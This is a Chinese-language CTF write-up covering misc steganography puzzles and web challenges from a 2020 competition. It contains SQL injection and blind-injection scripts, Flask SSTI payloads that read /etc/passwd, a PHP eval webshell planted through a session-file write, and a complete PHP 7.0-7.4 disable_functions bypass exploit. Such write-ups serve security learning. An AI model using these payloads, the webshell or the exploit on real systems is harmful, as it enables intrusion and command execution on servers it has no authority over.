CTF

I春秋公益赛部分Writeup

Posted on 2020-02-23,16 min read

太菜了。只能纪录下自己做出来的题

MISC

1。code_in_morse
题目给了个数据包。拿到数据包首先就是看HTTP


可以看到。上传了一个image。尝试看看image图片。一般图片都会藏点什么东西。
摩斯密码。

拿去解密

这里有个坑。不同网站解出来的东西不一样。用CTFCrak需要将最后的NULLNULLNULL,替换===
===结尾。尝试下base32解密

import base64
data='RFIE4RYNBINAUAAAAAGUSSCEKIAAAAEUAAAAA7AIAYAAAAEPFOMTWAAABANUSRCBKR4F53M52F3NWOAMIQ37776R5GE6YNAWJPUA4ZBZM6M5ZPRVWIURUHGMBRAMU7T3P57X776PP5DOBIQIXQE2RCZC5EYFWBAESRALQNACALVNE4B2TCABEA4XIZQAVKFXW632O3XS5HZT7R2J747545E4Y7K6HJA7WI5Y62W4OH7HJ75RL2VOMUMN2OOXOWU7RXV7U6D7AFC2X6TBGSDQII3ABOUCCARS2Q7CAATKD2HRTI6JKAZNIXYGK3ZO4POZENG566RDQVSAKWF26VLJJPC5VD2FAATKAMCHTP27Y5IKTWNNAKLVNEPUXLH6XVICOQMXGHEPDBYZYXZ2R6KKTU7ZF7X2CBGUXSOSHICOPIPQCJNAT3JO5ND5OHLBW5BF4CWNI5BFKTERWIUWFZYKVVKURWS7PI4FEXURAUFXBD6JQKSPZFJ7EXRCPEUSHJMS7GVKVDOG7W6F4ZL4XILUVCKWGFZ3KV2I5WBR7R2QALVHNSEWCKDCIXCA3VJU2QAJVCUZSO3LZICZJAASKAD2LKQ6BLVPQLUDSDLFPZP2WOTPLVLNABG7SPICMT3K52QLTWK3Y4NBXIMX5NRKJIA5FLO6Y3LVP55BPDITRVN2UYEZ33ERFZ2R4KTFVJVECKKRXKA2LRCKQFHEAIEAKZWYCKXRXLGJYJXQKZ445HWLUPAFGIC7FV46SB5MERIYNWSHUCNUQP5OB4S2BDQ7627HULZQRW3QYNKQKU3VHCNJSU6E36IUEPU2TBGKZOSB22N2R6TPY7XUG32VIXLTHGHJXGWNWMTJOGFMAJHOVWIIGDSG2KOONGK7UDFQS4ZOK2OAXKAXWZRTOTZQ2Q7CKRKRWAK6IAK2SRYLT72DGHQXRJGGDN57EJBZ2M7VJHOGJKEHU5ASU2KKTFB4SW5MB5C4YR4SSKNON3XLSS6K7CGJKAZNIP6E7RVUY6OFIBTTXYREMWKWPIDKRPTJSMRJPUXKUOWT5IZP3HEJ65OYVILIUGUI2QHGH32VAAXKO23H2BTIAF2UF4QESSANVEKPILOY63ZA5GUZRLLCIQSY6IRWLSTWULC5KBRAFOQPPEED3VB6IKKDRSN2FF4UVXS7KT6TUQCRQZ2DXZS5AYOCLLHKK6I2JUPRSK2HVI3YKBTZXWQDNGI3FMYHFMO3BIYABKUPTFSK3J4KKPKNALUMP5NFERHUB3I7IWTXQEAAMQUPQGRADFFIMKQ3MQNX3BW7NU4WMITZDB5D3FP3VHD2SPCX65ZVL44VUHQMAHMZLQFKADBFIO2RRKTCDYZJ2BCENKZ2LY2TIKSH3MMU3EUB5T26E4TP4NK3F6KRSTI3TEKTBKXTJYKHQATMWUDXT5T4CUYXK6U5H2LYAKUO5LJIFS2QY4O7KZP3KBCODRBAGLKPDN5WUTLOAKEOJP22CBGU6GXYJUPRTXXHKJLP7D46I2TPFLWQRJ4NIEFDYSNKDYFCERFHAC5NIWXVQXELIUSGKLKZLGT36JMOS7IIPBU76KXNQDJV4ZSXCE7F5P4U4QIRAKPAWRQFJLVHRFJDKIVLAVFOORM7F5S3U5D6AIFDV27JYJ243PIM6UKVSGLKQIZACNKPHVJAQJNPUAWACJNAWYEJBR2Q6LTA3STOLSLO6QZFKQ5QGFEZ5TKCJJ6VKBVNVO7DKG27T3HHJDRVXTPD6H7EW6FI6QB5GHQVKU3VP54TBBQMIDFJ6QFKRZXP4UE2QG3EVJDK3AASKBCE5W3VDHVB4JVC7IXOG5C7J4MZWSRDJFSHKH626LIUGRPZ6T2SEANVP5KDXFNKGQIWQS5J5MC5HBH5GGTHZLGWXKOWSCRQNULFGO4C3ZHUZF6O57K4YV2VYUR5BF3PDMEKR7JZEZJAAEUUORJ32GSHIAG4OWQS5LPPKVU2J7P5AQUQWRK7HE5BX3UWXJNPSKKBICC5Z5Y5L7AESSANUYPUNR2USESHE2ORQMJ5H6KTB6YSTVZD3FA6NLBUASWRM6VZYTXV6E4J6SW2XLZ6RGW7JL5FECJ53N7KRKRXMJGKVJTH6FNIFIOOA26AFHEAXJCUAQGBON2UPZNMBRKW7ZKUDZFYMCQBE5B4SUCTJ6TIOOT6J2XVXXLVRMPT3VGQUCSIAU4DKFJ7535XXUWGDSV3DJHQ2SXK3PILDELUPQVAVKFKJQM2GO47WTXXIZQPKNAE2VSDIDGT2VSSNUFSQAJV7WEY2WKVFSQANMFERVARSSUGEJ7TZLISVGYVPGPSVZTRTRYZXVI6VNNIZ6LFNPL2VAQVECPVZYLF3BR2M2PCXAF5USD6UVR7STM27OSOM7D3XUU2RZD5KWOKSBKIKLW3Q6VCIJTFVJLQDBREGECQBDKTJETLKU5KYQJVABNCATKD4MCVP6G75HT2V4CPQSW64SMM2VIBS2Q65ENEIBIETVJ5MFEFVLPEZXG3JEXX4QXSSUAABGMN67M5CJJVGTWUOS7742UGJK6VG2TGVFVCIYCUE2L44E2VBFJHTFNT7URWE6HSIZ2PF5TR7QST3FEAXIWSCMJO4V74VEACNKEGJF3B2IDGRF3BRAYWTALFVCFR7IZCNGVDEUSAZURUGABG5H6TDDKNEVH4TWZC2DI6FR6XT6W64SDC2JY3WDEXTLOK4ZBKPEXZMPFC4RFCFU5KQ6AEDV6T2MGAJ7HUQQUXSPY2U6VFNR3YDVWWKLK54UE2RPPUBGUJHDZ5SGMUY563JFZIRAPIXIGHLD2Q5IMUQOWIGOS2OADI4FPZ3GPJHQV2BU74SW6AUSPXX57VPJ24ZFJ7FNQIURSX6KQZGLKPDN5TLRKZZEGEN6K7T65EHP2X7E54M4AZQVRPFHRVDOZBLVAJFSHUPIVMTKKFUF4C2X7FBGUNWESTWFYXM37PZIBXQMWUERWUSQTFVD65OZR7YZBUACNIP46K3EQXWY5SUSIYGESUH3NLI6FI6DAFNUHQD5KLADK23QWSXWV4UE2RTF6HNMZWTVLVVZMN6NGKXOPO7AKI7ZO2AYBGV7YFMMCAQKQ65D6VINJOPMPKVO3XS73ICKETFERWLKCFX5YEYQA566QZJPETH7AKRZBJPENQNUWN4K2DYTNLWDKPY2WKGMDCIC5QRQUSO42ZPETOUO3VHUIJSVHSN3UXZ2B6OR6ZYB2J4KX5W6QRKB5QMEKQQVTTVO2LJYMULY2WDFFQWROXMWUELDVPZBIDFVAWQFLR6AJ6POOEHBW2U4UDC7S2FRU4VC47P3WQJ4BROGKLYQXSVIHLE7ZXAIKID2LZFB5JHV4NIAKQCAJFGYXI3AEAXI2JYDRGUDCMBJIR7ABXO3NF6UIUKCLNAAAAAACJIVHEJLSCMCBA===='
print (base64.b32decode(data))

得到一张PDF417的码
https://demo.dynamsoft.com/DBR/BarcodeReaderDemo.aspx
得到一个base64加密的字符串

解密后是个URL。是一张图。保存后查看详细信息。发现F5提示

F5隐写得到flag

2。套娃
第一关。发现ook。解码获得压缩密码。
同时在1.连环画中发现part1

第二关。爆破得到压缩包密码3302
同时在2.连环画详细信息中发现part2

第三关。通过txt得到虚张声势。猜测zip伪加密
同时通过stegsolve发现part3

第四关。通过4.hint.png知道这是zip明文攻击
将4.jpg和5.zip打包。进行明文攻击。(又是坑,明文攻击刚开始不能退出。跑了半个小时。可以退出了。并且会生成一个解密的压缩包)

修改图片长度。得到part4

第五关。猪圈密码。得到解压密码fojiajielv
并且给了81张图。慢慢拼图吧

第六关。与佛论禅解压得到密码amtf12345
图片末尾发现摩斯密码

第七关。银河密码。yinhezm
时间隐写。将10->0,20->1得到part7:61562

第八关:

8.原来,真经就在塔顶,走到顶,两位存储尊者向你索要人事一些<既然出门匆忙没带经文 不如把一路上得到的战利品(共32位)交出来吧

总结前面的所有part。解压
最后是ntfs隐写。貌似用winrar解压数据不会丢失。这步全是在虚拟机里运行的。拖到本机数据就没了。

3。funnygame
给了pygame文件。修改了雷的数量。玩了一下没啥结果。。
去图标库看看。扫雷.png特别显眼。其他都是bmp。

拖到kali下binwalk分离
得到一个openssl加密的文件

那么接下来就只有爆破or找密钥
结束后师傅们说。是pyc隐写。。。新姿势get

得到密钥
https://www.sojson.com/encrypt_aes.html
解压后得到16进制

f=open('secret.txt','r')
data=f.read()
f.close()
d=''
for i in range(0,len(data),2):
    d+=chr(int('0x'+data[i:i+2],16))
print d

python exp.py>1.txt
发现文件16进制是倒着的

f=open('1.txt','r')
data=f.read()
f.close()
data2=data[::-1]
print data2

得到flag.wav最后。就是考听力了。告辞

Web
简单的招聘系统

在登陆出发现admin' or 1=1%23可以登陆为admin。猜测这里有注入

判断字段数。6的时候报错。说明字段数为5
登陆后。会在用户信息回显

没过滤。送分题。还有一种解法,通过or 1=1登陆后。在admin查询页面。注入
easysqli_copy

首先分析下代码
通过id传参。如果没有传参。就从数据库中取值作为默认
id传参需要过正则匹配。数据库编码为UTF-8。然后用预处理带入sql语句
https://www.freebuf.com/articles/web/216336.html
UTF-8想起宽字节注入可以逃逸单引号。然后用%00注释
用堆叠注入hex编码绕过。随便注

Blacklist
原题是强网杯的随便注
原本的思路是动过堆叠注入。更改表名或者利用prepare去读取数据
但这题新增了一个黑名单。限制了以上两种操作使用的函数
一直没啥思路。知识面太窄了
结束后。大佬们用handler来代替select查询
handler使用方法:https://dev.mysql.com/doc/refman/8.0/en/handler.html

HANDLER tbl_name OPEN [ [AS] alias]

HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
    [ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
    [ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
    [ WHERE where_condition ] [LIMIT ... ]

HANDLER tbl_name CLOSE

handler 表名 open 可选参数:as别名
#打开表返回一个句柄
handler 表名 read first
#读取第一条数据
handler 表名 close
#关闭句柄

首先查看表名得到FlagHere

得到列名flag

得到flag

ezupload
这题没什么好说的。直接上传一句话木马。执行/readflag得到flag
盲注
由于已知字段。并且在同表。那就不需要select

regexp判断即可
Flaskapp
在解密处存在SSTI。将{{1+1}}base64编码后发送。返回{{2}}
随便输入个字符。存在报错。并且hint页面提示PIN。
之前看到过一篇文章。利用SSTI构造PIN码。执行任意代码
https://www.anquanke.com/post/id/197602
以下是我的payload:

[].__class__.__base__.__subclasses__()[134].__init__.__globals__['__builtins__']['open']('/etc/passwd','r').read()

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}
{% endif %}{% endfor %}

1:读取/sys/class/net/eth0/address
2:如果存在/proc/self/cgroup文件。那么/etc/machine-id会取/proc/self/cgroup的第一行
3:读取/etc/passwd得到用户名
4:debug报错得到app路径


ezsqli
这道题考的是高版本mysql的特性。比如新增了数据库。可以用于绕过information被过滤
最后字符串比较。拿flag
不多说了。直接上脚本

slist='uabcdefghijkmnlopqrstvwxyzABCDEFGHIJKMNLOPQRSTUVWXYZ[](),{}_1234567890-'
import requests
for i in range(1,60):
    for a in slist:
        payload='0^(ascii(substr((select group_concat(table_name) from sys.schema_table_statistics_with_buffer),'+str(i)+',1))='+str(ord(a))+')'
        data={"id":payload}
        r=requests.post(url='http://b539562b497746f9b3a26355ea0835a8400621d5d6294eff.changame.ichunqiu.com/index.php',data=data)
        if 'Nu1L' in r.text:
            print (a)
            break

通过sys这个库。跑出表名f1ag_1s_h3r3_hhhhh
然后通过字符串比较。获得flag

import requests
flag=''
url='http://b539562b497746f9b3a26355ea0835a8400621d5d6294eff.changame.ichunqiu.com/index.php'
for i in range(100):
    for a in range(40,130):
        payload='((select 1,0x'+flag+hex(a).replace('0x','')+')<(select * from f1ag_1s_h3r3_hhhhh))'
        data={"id":payload}
        r=requests.post(url=url,data=data)
        if 'Nu1L' not in (r.text):
            print (chr(a-1))
            flag+=hex(a-1).replace('0x','')
            break

这里字符串比较。不区分大小写。
如果区分大小写。可以用binary具体检测。这题过滤了in。就不行了。

easy_thinking
www.zip源码泄露
根据源码可知。这是个thinkphp6搭建的web。

哎。一直没怎么学thinkphp
先百度下thinkphp6有啥洞
https://paper.seebug.org/1114/
搜了下发现就一个反序列化和session任意文件写入。

利用条件。需要session可控。并且能访问
首先登陆下web

随便搜索个123。返回主页。有历史搜索纪录。

并且。这里session可以访问

结合上面的洞。我们将session替换为总长32位的xxxxx.php
然后搜索内容会以序列化后的字符串存储。
登陆时修改session。搜索<?php eval($_POST[a])?>
就会在session目录下存在一个sess_xxxxxx.php


这就是我们的shell

phpinfo()发现禁用了很多函数。照常得bypass disable_function
但是。用的比较多的LD_PRELOADbypass不行了。这里禁用了send_mail

有很多bypass方法。这里使用其他一个

<?php

# PHP 7.0-7.4 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=76047
# debug_backtrace() returns a reference to a variable 
# that has been destroyed, causing a UAF vulnerability.
#
# This exploit should work on all PHP 7.0-7.4 versions
# released as of 30/01/2020.
#
# Author: https://github.com/mm0r1

$cmd = $_GET['cmd'];
pwn($cmd);

function pwn($cmd) {
    global $abc, $helper, $backtrace;

    class Vuln {
        public $a;
        public function __destruct() { 
            global $backtrace; 
            unset($this->a);
            $backtrace = (new Exception)->getTrace(); # ;)
            if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
                $backtrace = debug_backtrace();
            }
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = chr($v & 0xff);
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'constant' constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'bin2hex' constant check
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) { # ELF header
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) { # system
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    function trigger_uaf($arg) {
        # str_shuffle prevents opcache string interning
        $arg = str_shuffle(str_repeat('A', 79));
        $vuln = new Vuln();
        $vuln->a = $arg;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; # increase this value if UAF fails
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle(str_repeat('A', 79));

    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    # leaks
    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    # fake value
    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    # fake reference
    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }

    # fake closure object
    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    # pwn
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); # internal func type
    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

    ($helper->b)($cmd);
    exit();
}

支持PHP7.0-7.4
用蚁键上传后。直接访问就行

babyphp
www.zip源码泄露
首先看idnex.php

代码很简洁。文件包含action参数+.php
判断是否登陆。登陆就调转update.php
OK。继续看login.php

过滤了很多函数。接着会调用lib.php中User类的login函数。

    public function login() {
        if(isset($_POST['username'])&&isset($_POST['password'])){
        $mysqli=new dbCtrl();
        $this->id=$mysqli->login('select id,password from user where username=?');
        if($this->id){
        $_SESSION['id']=$this->id;  
        $_SESSION['login']=1;
        echo "你的ID是".$_SESSION['id'];
        echo "你好!".$_SESSION['token'];
        echo "<script>window.location.href='./update.php'</script>";
        return $this->id;
        }
    }

可以看到。login函数。又会调用dbCtrl类中的login函数。并且带一个sql语句
继续追踪

这里sql语句。将使用预处理。然后执行。返回id
使用了预处理。那么基本注入没了。除非数据库使用utf-8
接下来看update.php

只要session['login']=1就会输出flag。并且update.php未登陆时只是echo 你还没有登陆。并没有exit退出。下面的语句会继续执行
调用user类的update函数。
将POST的age和nickname带入Info类。然后序列化。经过safe函数。替换。再反序列化

function safe($parm){
    $array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
    return str_replace($array,'hacker',$parm);
}

之前我做题有遇到过序列化字符串。经过替换。实现字符逃逸的。博客中有题解
那么这不就有了。逃逸+反序列化字符串可控+构造POP链执行sql语句
之前只做到了逃逸字符串。对于逃逸对象。实在是第一次遇见。也怪我想得太少。没想过能逃逸对象
逃逸字符串原理就不讲了。

我们要做的就是逃逸对象给CtrlCase。然后执行反序列化。
下面构造POP链

程序调用UpdateHelper类的时候。会在执行完触发__destruct函数。执行echo $this->sql
而反序列化可以更改sql的值。将sql赋值为其他类。就可以触发tostring魔法函数

User类调用UpdateHelper类
UpdateHelper执行完触发__destruct。echo $this->sql
将$this->sql赋值为User类。就会触发__toString魔法函数
调用$this->nickname->update($this->age)
$this->nickname为Info。调用update函数。由于不存在此函数。就会触发__call魔法函数
调用$this->CtrlCase->login($argument[0])
$this->CtrlCase为dbCtrl类。那么就会执行dbCtrl类的login函数。将参数作为sql语句执行

这里call魔法函数。$name的值是想要调用函数名的值。带的参数是$argument
比如我调用xxx类的abc函数。而xxx类并没有这个函数。触发__call函数。那么name就是你想要调用函数的名字。argument才是真正的参数

接下来追踪下sql语句。通过User类的$this->age传递。那么将age设为sql语句即可
由于执行完会返回两个结果。绑定id和password。那么我们就写
select password,id from user where username='admin'
返回的第一个时password。赋值给id
而id又会输出。我们拿到password解密登陆就行了

以下是我的payload

先本地测试下。

因为我们是覆盖最后一个Ctrlcase。而我们输入又在此前
所以。我们直接自己构造。"闭合前面
;s:8:"CtrlCase";表示CtrlCase开始后面跟我们构造的object对象
最后还得加上}表示整个序列化字符串结尾。
总共222个字符。根据替换。*替换hacker。一次可以多5个字符。union替换。一次多1个字符。
*x44+unionx2=222

将这串md5解密。得到yingyingying
admin,yingyingying登陆拿flag

下一篇: ctfshow红包题第八弹→